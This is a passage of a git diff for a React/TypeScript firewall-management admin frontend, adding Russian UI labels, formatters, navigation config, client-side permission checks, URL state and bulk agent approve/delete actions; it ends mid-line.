pending_push: 'Ожидает отправки',
|
||||
pending: 'Pending',
|
||||
invited: 'Invited',
|
||||
approved: 'Approved',
|
||||
revoked: 'Revoked',
|
||||
pending: 'Ожидает одобрения',
|
||||
invited: 'Приглашён',
|
||||
approved: 'Одобрен',
|
||||
revoked: 'Отозван',
|
||||
enabled: 'Включён',
|
||||
disabled: 'Выключен',
|
||||
allow: 'allow',
|
||||
deny: 'deny',
|
||||
allow: 'Разрешить',
|
||||
deny: 'Блокировать',
|
||||
conflict: 'Конфликт',
|
||||
error: 'Ошибка',
|
||||
ok: 'OK',
|
||||
up: 'OK',
|
||||
warning: 'Предупреждение',
|
||||
degraded: 'Slow',
|
||||
down: 'Down',
|
||||
degraded: 'Замедление',
|
||||
down: 'Недоступен',
|
||||
expired: 'Истёк',
|
||||
static: 'Ручной',
|
||||
domains: 'Ручной',
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
import { formatTime } from '@/lib/format'
|
||||
|
||||
/** «Обновлено в HH:mm:ss» — подпись свежести данных для polling-страниц. */
|
||||
export function UpdatedAtLabel({ updatedAt }: { updatedAt?: number }) {
|
||||
if (!updatedAt) return null
|
||||
return (
|
||||
<span className="text-muted-foreground text-xs tabular-nums">
|
||||
Обновлено в {formatTime(new Date(updatedAt))}
|
||||
</span>
|
||||
)
|
||||
}
|
||||
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,16 @@
|
||||
import type { Agent } from '@evofw/shared'
|
||||
|
||||
/**
|
||||
* Порог «на связи» — тот же, что в API /dashboard: агент считается
|
||||
* онлайн, если last_seen_at свежее 5 минут.
|
||||
*/
|
||||
export const AGENT_ONLINE_WINDOW_MS = 5 * 60_000
|
||||
|
||||
export function isAgentOnline(
|
||||
agent: Pick<Agent, 'last_seen_at'> | null | undefined,
|
||||
): boolean {
|
||||
if (!agent?.last_seen_at) return false
|
||||
const t = Date.parse(agent.last_seen_at)
|
||||
if (Number.isNaN(t)) return false
|
||||
return Date.now() - t < AGENT_ONLINE_WINDOW_MS
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { parseClaims } from './auth'
|
||||
|
||||
function makeToken(payload: object): string {
|
||||
const b64 = (obj: object) =>
|
||||
btoa(JSON.stringify(obj))
|
||||
.replace(/\+/g, '-')
|
||||
.replace(/\//g, '_')
|
||||
.replace(/=+$/, '')
|
||||
return `${b64({ alg: 'none' })}.${b64(payload)}.sig`
|
||||
}
|
||||
|
||||
describe('parseClaims', () => {
|
||||
it('parses a portal JWT payload', () => {
|
||||
const claims = parseClaims(
|
||||
makeToken({
|
||||
sub: 'u1',
|
||||
email: 'a@b.c',
|
||||
name: 'Admin',
|
||||
apps: ['fw'],
|
||||
permissions: ['fw:agents:write'],
|
||||
is_admin: true,
|
||||
exp: 1893456000,
|
||||
}),
|
||||
)
|
||||
expect(claims?.sub).toBe('u1')
|
||||
expect(claims?.apps).toEqual(['fw'])
|
||||
expect(claims?.is_admin).toBe(true)
|
||||
})
|
||||
|
||||
it('returns null for garbage / wrong shapes', () => {
|
||||
expect(parseClaims('not-a-jwt')).toBeNull()
|
||||
expect(parseClaims('a.b')).toBeNull()
|
||||
expect(parseClaims('%%%')).toBeNull()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,93 @@
|
||||
/**
|
||||
* Shared ru-RU formatters — single source for dates/numbers across the app.
|
||||
* All timestamps are ISO strings from the API.
|
||||
*/
|
||||
|
||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
||||
notation: 'compact',
|
||||
maximumFractionDigits: 1,
|
||||
})
|
||||
|
||||
const numberFmt = new Intl.NumberFormat('ru-RU')
|
||||
|
||||
const shortDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
})
|
||||
|
||||
const dateTimeFmt = new Intl.DateTimeFormat('ru-RU')
|
||||
|
||||
const stampDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
day: '2-digit',
|
||||
month: '2-digit',
|
||||
year: 'numeric',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
const timeFmt = new Intl.DateTimeFormat('ru-RU', {
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
})
|
||||
|
||||
const relativeFmt = new Intl.RelativeTimeFormat('ru-RU', { numeric: 'auto' })
|
||||
|
||||
/** Compact packet counter: 1,2K / 3,4M */
|
||||
export function formatPackets(n: number | undefined | null): string {
|
||||
if (n === undefined || n === null) return '—'
|
||||
return packetFmt.format(n)
|
||||
}
|
||||
|
||||
export function formatNumber(n: number | undefined | null): string {
|
||||
if (n === undefined || n === null) return '—'
|
||||
return numberFmt.format(n)
|
||||
}
|
||||
|
||||
/** dd.MM HH:mm — dense "seen" stamps in grids/cards */
|
||||
export function formatShortDateTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
return shortDateTimeFmt.format(new Date(t))
|
||||
}
|
||||
|
||||
/** Full locale date-time for detail panels */
|
||||
export function formatDateTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return iso
|
||||
return dateTimeFmt.format(new Date(t))
|
||||
}
|
||||
|
||||
/** dd.MM.yyyy HH:mm:ss — block-stats "seen" stamps */
|
||||
export function formatStampDateTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return iso
|
||||
return stampDateTimeFmt.format(new Date(t))
|
||||
}
|
||||
|
||||
export function formatTime(d: Date): string {
|
||||
return timeFmt.format(d)
|
||||
}
|
||||
|
||||
/** «2 минуты назад» / «5 часов назад»; старше 7 дней — полная дата. */
|
||||
export function formatRelativeTime(iso: string | null | undefined): string {
|
||||
if (!iso) return '—'
|
||||
const t = Date.parse(iso)
|
||||
if (Number.isNaN(t)) return '—'
|
||||
const diffMs = t - Date.now()
|
||||
const absMin = Math.round(Math.abs(diffMs) / 60_000)
|
||||
if (absMin < 1) return 'только что'
|
||||
const sign = diffMs < 0 ? -1 : 1
|
||||
if (absMin < 60) return relativeFmt.format(sign * absMin, 'minute')
|
||||
const absHours = Math.round(absMin / 60)
|
||||
if (absHours < 24) return relativeFmt.format(sign * absHours, 'hour')
|
||||
const absDays = Math.round(absHours / 24)
|
||||
if (absDays < 7) return relativeFmt.format(sign * absDays, 'day')
|
||||
return formatDateTime(iso)
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
import { describe, it, expect } from 'vitest'
|
||||
import { NAV_ITEMS, NAV_SECTIONS, navLabel, navParentForDetail } from './nav'
|
||||
|
||||
describe('nav config', () => {
|
||||
it('every nav item has label, icon, keywords and a known section', () => {
|
||||
const sectionIds = new Set(NAV_SECTIONS.map((s) => s.id))
|
||||
for (const item of NAV_ITEMS) {
|
||||
expect(item.label.length).toBeGreaterThan(0)
|
||||
expect(item.keywords.length).toBeGreaterThan(0)
|
||||
expect(sectionIds.has(item.section)).toBe(true)
|
||||
}
|
||||
})
|
||||
|
||||
it('navLabel resolves known routes', () => {
|
||||
expect(navLabel('/')).toBe('Панель управления')
|
||||
expect(navLabel('/agents')).toBe('Агенты')
|
||||
expect(navLabel('/nope')).toBeUndefined()
|
||||
})
|
||||
|
||||
it('navParentForDetail maps detail routes to parents', () => {
|
||||
expect(navParentForDetail('/agents/abc')).toBe('/agents')
|
||||
expect(navParentForDetail('/lists/abc')).toBe('/lists')
|
||||
expect(navParentForDetail('/rules/set-1')).toBe('/rules')
|
||||
expect(navParentForDetail('/settings')).toBeUndefined()
|
||||
expect(navParentForDetail('/agents/abc/preview')).toBeUndefined()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,103 @@
|
||||
import {
|
||||
BarChart3Icon,
|
||||
LayoutDashboardIcon,
|
||||
ListIcon,
|
||||
ServerIcon,
|
||||
SettingsIcon,
|
||||
ShieldIcon,
|
||||
} from 'lucide-react'
|
||||
|
||||
/**
|
||||
* Single source of the app's route structure: sidebar sections, ⌘K search and
|
||||
* header breadcrumbs all render from this config.
|
||||
*/
|
||||
|
||||
export type NavSectionId = 'overview' | 'ops' | 'system'
|
||||
|
||||
export type NavItem = {
|
||||
to: string
|
||||
label: string
|
||||
/** Exact active-state match (root only); prefix match otherwise. */
|
||||
exact?: boolean
|
||||
keywords: string[]
|
||||
icon: typeof ServerIcon
|
||||
section: NavSectionId
|
||||
/** Read-право для показа пункта (useCan); undefined — виден всем с доступом к app. */
|
||||
permission?: string
|
||||
}
|
||||
|
||||
export const NAV_ITEMS: readonly NavItem[] = [
|
||||
{
|
||||
to: '/',
|
||||
label: 'Панель управления',
|
||||
exact: true,
|
||||
keywords: ['dashboard', 'панель', 'обзор'],
|
||||
icon: LayoutDashboardIcon,
|
||||
section: 'overview',
|
||||
permission: 'fw:dashboard:read',
|
||||
},
|
||||
{
|
||||
to: '/agents',
|
||||
label: 'Агенты',
|
||||
keywords: ['agents', 'агенты', 'nodes'],
|
||||
icon: ServerIcon,
|
||||
section: 'ops',
|
||||
permission: 'fw:agents:read',
|
||||
},
|
||||
{
|
||||
to: '/lists',
|
||||
label: 'Списки',
|
||||
keywords: ['lists', 'списки', 'blocklist'],
|
||||
icon: ListIcon,
|
||||
section: 'ops',
|
||||
permission: 'fw:lists:read',
|
||||
},
|
||||
{
|
||||
to: '/rules',
|
||||
label: 'Наборы правил',
|
||||
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
|
||||
icon: ShieldIcon,
|
||||
section: 'ops',
|
||||
permission: 'fw:policies:read',
|
||||
},
|
||||
{
|
||||
to: '/stats',
|
||||
label: 'Статистика',
|
||||
keywords: ['stats', 'статистика', 'packets'],
|
||||
icon: BarChart3Icon,
|
||||
section: 'ops',
|
||||
permission: 'fw:stats:read',
|
||||
},
|
||||
{
|
||||
to: '/settings',
|
||||
label: 'Настройки',
|
||||
keywords: ['settings', 'настройки'],
|
||||
icon: SettingsIcon,
|
||||
section: 'system',
|
||||
permission: 'fw:settings:read',
|
||||
},
|
||||
]
|
||||
|
||||
export const NAV_SECTIONS = [
|
||||
{ id: 'overview', label: 'Обзор' },
|
||||
{ id: 'ops', label: 'Операции' },
|
||||
{ id: 'system', label: 'Система' },
|
||||
] as const satisfies readonly { id: NavSectionId; label: string }[]
|
||||
|
||||
export function navItemsForSection(section: NavSectionId): readonly NavItem[] {
|
||||
return NAV_ITEMS.filter((item) => item.section === section)
|
||||
}
|
||||
|
||||
export function navLabel(to: string): string | undefined {
|
||||
return NAV_ITEMS.find((item) => item.to === to)?.label
|
||||
}
|
||||
|
||||
/** Detail routes (…/:id) that nest under a nav route. */
|
||||
const DETAIL_PARENT_RE = /^\/(agents|lists|rules)\/[^/]+$/
|
||||
|
||||
export function navParentForDetail(
|
||||
pathname: string,
|
||||
): string | undefined {
|
||||
const m = pathname.match(DETAIL_PARENT_RE)
|
||||
return m ? `/${m[1]}` : undefined
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
import { hasPermission } from '@evofw/shared'
|
||||
import { getClaims, isAuthEnabled } from './auth'
|
||||
|
||||
/**
|
||||
* Client-side RBAC gating. The backend remains authoritative; this only hides
|
||||
* actions the current portal user cannot perform (fw:<section>:<read|write|admin>).
|
||||
* When auth is disabled (dev) everything is allowed.
|
||||
*/
|
||||
export function can(permission: string): boolean {
|
||||
if (!isAuthEnabled()) return true
|
||||
const claims = getClaims()
|
||||
if (!claims) return false
|
||||
if (claims.is_admin) return true
|
||||
return hasPermission(claims.permissions ?? [], permission)
|
||||
}
|
||||
|
||||
export function useCan() {
|
||||
return can
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
import type { Filter } from '@/components/reui/filters'
|
||||
|
||||
/**
|
||||
* Сериализация состояния страниц (таб/поиск/фильтры) в URL search-параметры:
|
||||
* tab — id вкладки, q — строка поиска, f — JSON-массив фильтров.
|
||||
* Пустые значения не пишутся в URL (deep-link остаётся чистым).
|
||||
*/
|
||||
|
||||
export function filtersToSearch(filters: Filter[]): string | undefined {
|
||||
if (filters.length === 0) return undefined
|
||||
try {
|
||||
return JSON.stringify(filters)
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
|
||||
export function searchToFilters(raw: unknown): Filter[] {
|
||||
if (typeof raw !== 'string' || raw.length === 0) return []
|
||||
try {
|
||||
const parsed: unknown = JSON.parse(raw)
|
||||
if (!Array.isArray(parsed)) return []
|
||||
return parsed.filter(
|
||||
(x): x is Filter =>
|
||||
typeof x === 'object' &&
|
||||
x !== null &&
|
||||
typeof (x as Filter).field === 'string' &&
|
||||
typeof (x as Filter).operator === 'string' &&
|
||||
Array.isArray((x as Filter).values),
|
||||
)
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
}
|
||||
|
||||
/** Строка поиска: undefined при пустой, чтобы не писать пустой q в URL. */
|
||||
export function searchToQ(raw: unknown): string | undefined {
|
||||
return typeof raw === 'string' && raw.length > 0 ? raw : undefined
|
||||
}
|
||||
|
||||
/** Вкладка: валидируется по списку допустимых id. */
|
||||
export function searchToTab(
|
||||
raw: unknown,
|
||||
allowed: readonly string[],
|
||||
): string | undefined {
|
||||
return typeof raw === 'string' && allowed.includes(raw) ? raw : undefined
|
||||
}
|
||||
|
||||
/** Флаг из search-параметра: только `true` пишется в URL. */
|
||||
export function searchToFlag(raw: unknown): boolean | undefined {
|
||||
return raw === true || raw === '1' ? true : undefined
|
||||
}
|
||||
Whitespace-only changes.
@@ -12,12 +12,14 @@ export const dashboardQueryOptions = () =>
|
||||
queryOptions({
|
||||
queryKey: ['dashboard'],
|
||||
queryFn: () => apiFetch<DashboardStats>('/api/v1/dashboard'),
|
||||
refetchInterval: 30_000,
|
||||
})
|
||||
|
||||
export const agentsQueryOptions = () =>
|
||||
queryOptions({
|
||||
queryKey: ['agents'],
|
||||
queryFn: () => apiFetch<{ items: Agent[] }>('/api/v1/agents'),
|
||||
refetchInterval: 60_000,
|
||||
})
|
||||
|
||||
export const agentQueryOptions = (id: string) =>
|
||||
@@ -272,4 +274,5 @@ export const recentStatsQueryOptions = () =>
|
||||
recorded_at: string
|
||||
}[]
|
||||
}>('/api/v1/stats/recent'),
|
||||
refetchInterval: 60_000,
|
||||
})
|
||||
@@ -6,6 +6,10 @@ import {
|
||||
isTokenValid,
|
||||
redirectToPortalLogin,
|
||||
} from '@/lib/auth'
|
||||
import {
|
||||
RouteErrorComponent,
|
||||
RouteNotFoundComponent,
|
||||
} from '@/components/route-error'
|
||||
|
||||
export type RouterContext = {
|
||||
queryClient: QueryClient
|
||||
@@ -22,4 +26,6 @@ export const Route = createRootRouteWithContext<RouterContext>()({
|
||||
}
|
||||
},
|
||||
component: () => <Outlet />,
|
||||
errorComponent: RouteErrorComponent,
|
||||
notFoundComponent: RouteNotFoundComponent,
|
||||
})
|
||||
@@ -1,5 +1,6 @@
|
||||
import { createFileRoute, useNavigate } from '@tanstack/react-router'
|
||||
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||
import type { RowSelectionState } from '@tanstack/react-table'
|
||||
import { toast } from 'sonner'
|
||||
import { useCallback, useMemo, useState } from 'react'
|
||||
import type { Filter, FilterFieldConfig } from '@/components/reui/filters'
|
||||
@@ -13,6 +14,7 @@ import {
|
||||
Plus,
|
||||
ShieldIcon,
|
||||
TableIcon,
|
||||
Trash2,
|
||||
UserPlus,
|
||||
WifiOff,
|
||||
} from 'lucide-react'
|
||||
@@ -27,13 +29,10 @@ import {
|
||||
Frame,
|
||||
FrameDescription,
|
||||
FrameHeader,
|
||||
FramePanel,
|
||||
FrameTitle,
|
||||
} from '@/components/reui/frame'
|
||||
import {
|
||||
Alert,
|
||||
AlertDescription,
|
||||
AlertTitle,
|
||||
} from '@/components/reui/alert'
|
||||
import { Badge } from '@/components/reui/badge'
|
||||
import { AddAgentSheet } from '@/components/agents/add-agent-sheet'
|
||||
import { AgentCardsGrid } from '@/components/agents/agent-cards-grid'
|
||||
import { AgentDetailSheet } from '@/components/agents/agent-detail-sheet'
|
||||
@@ -45,8 +44,18 @@ import {
|
||||
} from '@/components/agents/agents-fleet-kpis'
|
||||
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||
import { QueryState } from '@/components/query-state'
|
||||
import { UpdatedAtLabel } from '@/components/updated-at-label'
|
||||
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||
import { agentsQueryOptions, settingsQueryOptions } from '@/queries'
|
||||
import { apiFetch } from '@/lib/api'
|
||||
import { isAgentOnline } from '@/lib/agent-online'
|
||||
import {
|
||||
searchToFilters,
|
||||
searchToFlag,
|
||||
searchToQ,
|
||||
searchToTab,
|
||||
} from '@/lib/search-params'
|
||||
import { useCan } from '@/lib/permissions'
|
||||
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
||||
import { Button } from '@evofw/ui/components/button'
|
||||
import {
|
||||
@@ -65,43 +74,71 @@ import type { Agent } from '@evofw/shared'
|
||||
type AgentsSearch = {
|
||||
agent?: string
|
||||
view: 'cards' | 'table'
|
||||
/** Открыть sheet добавления агента (из ⌘K-палитры). */
|
||||
add?: boolean
|
||||
/** URL-состояние: вкладка, поиск, фильтры (deep-link и refresh сохраняют вид). */
|
||||
tab?: string
|
||||
q?: string
|
||||
f?: Filter[]
|
||||
}
|
||||
|
||||
function parseAgentsSearch(search: Record<string, unknown>): AgentsSearch {
|
||||
const view = search.view === 'table' ? 'table' : 'cards'
|
||||
const agent =
|
||||
typeof search.agent === 'string' && search.agent.length > 0
|
||||
? search.agent
|
||||
: undefined
|
||||
return { view, agent }
|
||||
}
|
||||
|
||||
export const Route = createFileRoute('/_auth/agents/')({
|
||||
validateSearch: (search: Record<string, unknown>): AgentsSearch =>
|
||||
parseAgentsSearch(search),
|
||||
component: AgentsPage,
|
||||
})
|
||||
|
||||
const AGENT_TABS = [
|
||||
{ id: 'all', label: 'Все' },
|
||||
{ id: 'invited', label: 'Invited' },
|
||||
{ id: 'pending', label: 'Pending' },
|
||||
{ id: 'approved', label: 'Approved' },
|
||||
{ id: 'revoked', label: 'Revoked' },
|
||||
{ id: 'invited', label: 'Приглашённые' },
|
||||
{ id: 'pending', label: 'Ожидают' },
|
||||
{ id: 'approved', label: 'Одобренные' },
|
||||
{ id: 'revoked', label: 'Отозванные' },
|
||||
] as const
|
||||
|
||||
const AGENT_TAB_IDS = AGENT_TABS.map((t) => t.id) as string[]
|
||||
|
||||
function parseAgentsSearch(search: Record<string, unknown>): AgentsSearch {
|
||||
const view = search.view === 'table' ? 'table' : 'cards'
|
||||
const agent = typeof search.agent === 'string' && search.agent.length > 0
|
||||
? search.agent
|
||||
: undefined
|
||||
const add = searchToFlag(search.add)
|
||||
const f = searchToFilters(search.f)
|
||||
return {
|
||||
view,
|
||||
agent,
|
||||
add,
|
||||
tab: searchToTab(search.tab, AGENT_TAB_IDS),
|
||||
q: searchToQ(search.q),
|
||||
f: f.length > 0 ? f : undefined,
|
||||
}
|
||||
}
|
||||
|
||||
export const Route = createFileRoute('/_auth/agents/')({
|
||||
validateSearch: parseAgentsSearch,
|
||||
component: AgentsPage,
|
||||
})
|
||||
|
||||
const EMPTY_FILTERS: Filter[] = []
|
||||
|
||||
/** Список имён для подтверждений: первые 5, дальше «и ещё N». */
|
||||
function formatNames(names: string[]): string {
|
||||
if (names.length <= 5) return names.join(', ')
|
||||
return `${names.slice(0, 5).join(', ')} и ещё ${names.length - 5}`
|
||||
}
|
||||
|
||||
function AgentsPage() {
|
||||
const navigate = useNavigate({ from: Route.fullPath })
|
||||
const { agent: detailAgentId, view } = Route.useSearch()
|
||||
const { agent: detailAgentId, view, add: addParam } = Route.useSearch()
|
||||
const qc = useQueryClient()
|
||||
const agentsQ = useQuery(agentsQueryOptions())
|
||||
const settingsQ = useQuery(settingsQueryOptions())
|
||||
const { copyToClipboard } = useCopyToClipboard()
|
||||
const [createOpen, setCreateOpen] = useState(false)
|
||||
const canWrite = useCan()('fw:agents:write')
|
||||
const [createOpenState, setCreateOpenState] = useState(false)
|
||||
const createOpen = createOpenState || addParam === true
|
||||
const [deleteAgentId, setDeleteAgentId] = useState<string | null>(null)
|
||||
const [filters, setFilters] = useState<Filter[]>([])
|
||||
const [searchQuery, setSearchQuery] = useState('')
|
||||
const [activeTab, setActiveTab] = useState('all')
|
||||
const [approveAllOpen, setApproveAllOpen] = useState(false)
|
||||
const [bulkDeleteIds, setBulkDeleteIds] = useState<string[] | null>(null)
|
||||
const [rowSelection, setRowSelection] = useState<RowSelectionState>({})
|
||||
const activeTab = Route.useSearch().tab ?? 'all'
|
||||
const searchQuery = Route.useSearch().q ?? ''
|
||||
const filters = Route.useSearch().f ?? EMPTY_FILTERS
|
||||
|
||||
const detailOpen = Boolean(detailAgentId)
|
||||
const showQuickActions = settingsQ.data?.show_quick_actions !== 'false'
|
||||
@@ -117,6 +154,23 @@ function AgentsPage() {
|
||||
next.agent !== undefined
|
||||
? next.agent || undefined
|
||||
: base.agent,
|
||||
add:
|
||||
next.add !== undefined
|
||||
? next.add || undefined
|
||||
: base.add,
|
||||
tab: next.tab !== undefined
|
||||
? next.tab === 'all'
|
||||
? undefined
|
||||
: next.tab
|
||||
: base.tab,
|
||||
q: next.q !== undefined
|
||||
? next.q || undefined
|
||||
: base.q,
|
||||
f: next.f !== undefined
|
||||
? next.f.length > 0
|
||||
? next.f
|
||||
: undefined
|
||||
: base.f,
|
||||
} satisfies AgentsSearch
|
||||
},
|
||||
replace: true,
|
||||
@@ -125,34 +179,93 @@ function AgentsPage() {
|
||||
[navigate],
|
||||
)
|
||||
|
||||
/** Optimistically patch the agents list; returns a rollback fn. */
|
||||
const patchAgentsCache = useCallback(
|
||||
(patch: (items: Agent[]) => Agent[]) => {
|
||||
const prev = qc.getQueryData<{ items: Agent[] }>(['agents'])
|
||||
if (prev) qc.setQueryData(['agents'], { items: patch(prev.items) })
|
||||
return () => {
|
||||
if (prev) qc.setQueryData(['agents'], prev)
|
||||
}
|
||||
},
|
||||
[qc],
|
||||
)
|
||||
|
||||
const approve = useMutation({
|
||||
mutationFn: (id: string) =>
|
||||
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
|
||||
onMutate: (id) =>
|
||||
patchAgentsCache((items) =>
|
||||
items.map((a) => (a.id === id ? { ...a, status: 'approved' } : a)),
|
||||
),
|
||||
onSuccess: () => {
|
||||
toast.success('Агент одобрен')
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _id, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const approveAllPending = useMutation({
|
||||
mutationFn: async (ids: string[]) => {
|
||||
await Promise.all(
|
||||
ids.map((id) =>
|
||||
apiFetch(`/api/v1/agents/${id}/approve`, { method: 'POST' }),
|
||||
const approveBulk = useMutation({
|
||||
mutationFn: (ids: string[]) =>
|
||||
apiFetch('/api/v1/agents/approve-bulk', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: ids }),
|
||||
}),
|
||||
onMutate: (ids) => {
|
||||
const target = new Set(ids)
|
||||
return patchAgentsCache((items) =>
|
||||
items.map((a) =>
|
||||
target.has(a.id) ? { ...a, status: 'approved' } : a,
|
||||
),
|
||||
)
|
||||
},
|
||||
onSuccess: () => {
|
||||
toast.success('Все pending одобрены')
|
||||
onSuccess: (_data, ids) => {
|
||||
toast.success(`Одобрено агентов: ${ids.length}`)
|
||||
setRowSelection({})
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: (e: Error, _ids, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const deleteBulk = useMutation({
|
||||
mutationFn: (ids: string[]) =>
|
||||
apiFetch('/api/v1/agents/delete-bulk', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ agent_ids: ids }),
|
||||
}),
|
||||
onMutate: (ids) => {
|
||||
const target = new Set(ids)
|
||||
return patchAgentsCache((items) =>
|
||||
items.filter((a) => !target.has(a.id)),
|
||||
)
|
||||
},
|
||||
onSuccess: (_data, ids) => {
|
||||
toast.success(`Удалено агентов: ${ids.length}`)
|
||||
setBulkDeleteIds(null)
|
||||
setRowSelection({})
|
||||
if (detailAgentId && ids.includes(detailAgentId)) {
|
||||
setSearch({ agent: '' })
|
||||
}
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: (e: Error, _ids, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
})
|
||||
|
||||
const removeAgent = useMutation({
|
||||
mutationFn: (id: string) =>
|
||||
apiFetch(`/api/v1/agents/${id}`, { method: 'DELETE' }),
|
||||
onMutate: (id) => patchAgentsCache((items) => items.filter((a) => a.id !== id)),
|
||||
onSuccess: (_data, id) => {
|
||||
toast.success('Агент удалён')
|
||||
setDeleteAgentId(null)
|
||||
@@ -162,7 +275,10 @@ function AgentsPage() {
|
||||
void qc.invalidateQueries({ queryKey: ['agents'] })
|
||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||
},
|
||||
onError: (e: Error) => toast.error(e.message),
|
||||
onError: (e: Error, _id, rollback) => {
|
||||
rollback?.()
|
||||
toast.error(e.message)
|
||||
},
|
||||
})
|
||||
|
||||
const items = agentsQ.data?.items ?? []
|
||||
@@ -171,6 +287,77 @@ function AgentsPage() {
|
||||
() => items.filter((a) => a.status === 'pending').map((a) => a.id),
|
||||
[items],
|
||||
)
|
||||
const pendingNames = useMemo(
|
||||
() =>
|
||||
items.filter((a) => a.status === 'pending').map((a) => a.name),
|
||||
[items],
|
||||
)
|
||||
|
||||
const selectedIds = useMemo(
|
||||
() => Object.keys(rowSelection).filter((id) => rowSelection[id]),
|
||||
[rowSelection],
|
||||
)
|
||||
const selectedAgents = useMemo(
|
||||
() => items.filter((a) => selectedIds.includes(a.id)),
|
||||
[items, selectedIds],
|
||||
)
|
||||
const approvableSelected = useMemo(
|
||||
() =>
|
||||
selectedAgents.filter(
|
||||
(a) => a.status === 'pending' || a.status === 'invited',
|
||||
),
|
||||
[selectedAgents],
|
||||
)
|
||||
const clearSelection = useCallback(() => setRowSelection({}), [])
|
||||
|
||||
const selectionToolbar = useCallback(
|
||||
(ctx: { selectedCount: number }) => {
|
||||
if (ctx.selectedCount === 0 || !canWrite) return null
|
||||
return (
|
||||
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||
<Badge variant="secondary" size="sm">
|
||||
{ctx.selectedCount} выбрано
|
||||
</Badge>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
{approvableSelected.length > 0 ? (
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
disabled={approveBulk.isPending}
|
||||
onClick={() =>
|
||||
approveBulk.mutate(approvableSelected.map((a) => a.id))
|
||||
}
|
||||
>
|
||||
<Check data-icon="inline-start" />
|
||||
Утвердить ({approvableSelected.length})
|
||||
</Button>
|
||||
) : null}
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
className="text-destructive"
|
||||
disabled={deleteBulk.isPending}
|
||||
onClick={() => setBulkDeleteIds(selectedIds)}
|
||||
>
|
||||
<Trash2 data-icon="inline-start" />
|
||||
Удалить
|
||||
</Button>
|
||||
<Button size="sm" variant="ghost" onClick={clearSelection}>
|
||||
Снять выделение
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
},
|
||||
[
|
||||
canWrite,
|
||||
approvableSelected,
|
||||
selectedIds,
|
||||
approveBulk.isPending,
|
||||
deleteBulk.isPending,
|
||||
clearSelection,
|
||||
],
|
||||
)
|
||||
|
||||
const kpiCards = useMemo(
|
||||
() =>
|
||||
@@ -182,10 +369,22 @@ function AgentsPage() {
|
||||
}).map((card) => ({
|
||||
...card,
|
||||
onSelect: () => {
|
||||
if (card.id === 'pending') setActiveTab('pending')
|
||||
else if (card.id === 'invited') setActiveTab('invited')
|
||||
else if (card.id === 'approved') setActiveTab('approved')
|
||||
else if (card.id === 'stale') setActiveTab('approved')
|
||||
if (card.id === 'pending') setSearch({ tab: 'pending' })
|
||||
else if (card.id === 'invited') setSearch({ tab: 'invited' })
|
||||
else if (card.id === 'approved') setSearch({ tab: 'approved' })
|
||||
else if (card.id === 'stale') {
|
||||
setSearch({
|
||||
tab: 'all',
|
||||
f: [
|
||||
{
|
||||
id: 'stale',
|
||||
field: 'online',
|
||||
operator: 'is',
|
||||
values: ['offline'],
|
||||
},
|
||||
],
|
||||
})
|
||||
}
|
||||
},
|
||||
})),
|
||||
[counts],
|
||||
@@ -204,10 +403,10 @@ function AgentsPage() {
|
||||
label: 'Статус',
|
||||
type: 'select',
|
||||
options: [
|
||||
{ value: 'invited', label: 'invited' },
|
||||
{ value: 'approved', label: 'approved' },
|
||||
{ value: 'pending', label: 'pending' },
|
||||
{ value: 'revoked', label: 'revoked' },
|
||||
{ value: 'invited', label: 'Приглашён' },
|
||||
{ value: 'pending', label: 'Ожидает одобрения' },
|
||||
{ value: 'approved', label: 'Одобрен' },
|
||||
